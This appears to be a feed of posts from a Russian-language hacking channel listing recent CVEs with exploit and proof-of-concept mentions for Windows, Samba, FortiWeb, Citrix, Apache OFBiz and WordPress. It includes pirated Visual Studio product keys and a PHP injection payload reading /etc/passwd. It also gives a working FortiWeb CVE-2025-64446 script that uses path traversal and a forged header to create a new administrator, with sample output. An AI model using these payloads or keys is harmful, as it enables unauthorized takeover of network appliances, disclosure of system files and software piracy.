Visual Studio 2026 is here
Keys:

Professional: NVTDK-QB8J9-M28GR-92BPC-BTHXK
Enterprise: VYGRN-WPR22-HG4X3-692BF-QGT2V

Видишь на сайте выбор Language, не поленись !
Language={${system("cat+/etc/passwd")}}

CVE-2025-60710
*
LPE в \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration scheduled task.
*
POC


#win #lpe

CVE-2025-26686
*
RCE in Windows 10/11/Srv
*
The-TCP-IP-Flaw-That-Opens-the-Gates

вдруг вам надо
PE-XRay-EDR

CVE-2025-10230 (CVSS 10) ну это успех
*
Несанкционированные NetBIOS имена регистрационных пакетов WINS передаются в оболочку без экранирования
Неаутентифицированный сетевой злоумышленник выполняет RCE в качестве процесса Samba на контроллерах домена Active Directory.

Fortinet FortiWeb
*
auth bypass vuln
*
check vuln

CVE-2025-33073
*
POC я уже публиковал, а тут универсалочка подъехала.

Universal exploit

#win #DC #controller

CVE-2025-12101 + CVE-2025-21202
*
Citrix NetScaler ADC and Citrix NetScaler Gateway
*
exploit +xss tool

CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass
*
Ну то есть исходя из ЭТОГО
можно получить такое:

python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
}).encode()).decode()

payload = json.dumps({
    "data": {
        "q_type": 1,
        "name": "note2",
        "access-profile": "prof_admin",
        "password": "note2",
        "comment": "automated RCE"
    }
})

cmd = [
    "curl", "--path-as-is", "-sk",
    "-H", f"CGIINFO: {header}",
    "-H", "Content-Type: application/json",
    "--data", payload,
    "https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

Output from the box:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }

То есть просто получаем нового админа

CVE-2025-59118: Critical Apache OFBiz
*
RCE
*
Full Server Compromise

13:17 пробило
а вот и ОН
happy birthday
день рождения )))
дамы и господа - нам 4 года
*
Если пересказать = многое было, я бы многое изменил, но вышло так как вышло, ну и хорошо.
*|
С днем рождения НАС )))) начнем в 13:17 ))))
Ну, и все как всегда - берегите себя и своих близких ! ))))

Donate^
Поддержать проект:

BTC bc1qmrt229eghjyj9wqa7nmr9j8zuq6khz6km2pker

С днем нас рождения ))))

гоу, увидимся внутри !

CVE-2025-6389
is a Critical (CVSS 9.8) vulnerability
in the Sneeit Framework WordPress plugin (≤ 8.3)
exploit

#wordpress

Внедрение DLL в процесс проводника с помощью иконок
*
IconJector

крутой сайт !
https://chiptune.app/browse